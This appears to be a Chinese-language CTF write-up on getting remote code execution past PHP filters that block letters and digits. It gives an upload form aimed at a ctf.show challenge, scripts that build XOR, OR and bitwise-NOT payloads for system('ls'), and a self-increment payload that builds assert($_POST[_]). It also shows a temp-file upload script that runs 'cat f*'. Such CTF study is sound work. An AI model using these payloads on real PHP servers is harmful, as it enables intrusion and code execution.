14.无数字字符绕过
1.构造POST数据包
通过构造数据包,向⽬标服务器发送⽂件,⽂件已被保存到tmp⽬录下再根据保存的⽂件名的特性(最后⼀个字⺟为⼤写),筛选⽂件,利⽤ . 执⾏。
【请求数据包的结构:
第一部分:请求行(数据包中的一行内容)
请求行包括三部分:
- 请求方式(get/post)
- 请求资源路径(端口号之后的内容,比如/appname/servlet)
- 协议的类型和版本
第二部分:若干消息头(消息头是由w3c定义的一些有特殊含义的键值对)
消息头的样式,比如:content-type=text/html;
(消息头一般由浏览器或者服务器自动生成,但是也可以通过编程的方式生成)
第三部分:空行
第四部分:实体内容
- 如果请求方式是post方式,请求参数及值会放在这儿;
- 如果请求方式是get方式,请求参数及值是包含在请求资源路径里边。
】
1.解题思路:
- 构造Post数据包上传文件,linux系统下会保存在/temp/php??????
- 抓包,使文件中包含sh'命令
- 利用.执行
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/"
method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
注意:tmp目录下文件比较多,我们所上传的文件最后一个字母是大写,因此利用ascii字母的大写匹 配,过滤掉其他文件[@-[ ]
2.无字母数字绕过正则
1.异或
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w"); //以写的方式打开txt文件
$contents="";
for ($i=0; $i < 256; $i++) { //ascii码只占一个字节,所以设置最大数256
//两个for循环总共256*256中可能的情况
for ($j=0; $j <256 ; $j++) {
if($i<16){ //ascii的前16个字符的十六进制应该是01,02,。。。。下面为了格式化
数字加上了0
$hex_i='0'.dechex($i); //dechex(十进制转换成十六进制)
}
else{
$hex_i=dechex($i); ///将所有的数字转换成十六进制
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){//过滤掉被匹配的字符
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {//32到126是ascii码的所有可显示字符
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);///将我们得到的所有字符写入之前打开的文件
fclose($myfile);//关闭文件
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg): //定义action函数
s1="" //用于异或的第一个字符串
s2="" //用于异或的第二个字符串
for i in arg: //i表示arg的一个字符
f=open("xor_rce.txt","r") //打开php脚本生成的xor_rce.txt
while True:
t=f.readline() //一行一行读取文件
if t=="": //读取完毕就结束
break
if t[0]==i://t[0]也就是文件中的第一列,32-126个可显示的ascii码字符
#print(i)
s1+=t[2:5]//截取i所在行第3列到第5列表示第一个字符串
s2+=t[6:9] ///截取i所在行第7列到第9列表示第二个字符串
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")" ///对两个字符串进行异或
return(output)
while True:
//我们输入的函数和命令被作为arg
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
php运行后生成一个txt文档,包含所有可见字符的异或构造结果。
接着运行python脚本即可。
运行结果
[+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
将得到的结果复制过去即可,最终效果如下图所示。
2.或
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
运行结果:
[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
最终效果图
3.取反
取反基本上用的都是一个不可见字符,所以不会触发到正则表达式,一个php脚本就可以了
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
效果图
4.自增
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
效果图
5.上传临时文件
#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)
】
通过汉字或者⼀些不可⻅字符,进⾏异或,求与,取反等操作构建字⺟从⽽构建命令,最后显示 的结果是经过url编码的。
脚本的说明:
生成字符表脚本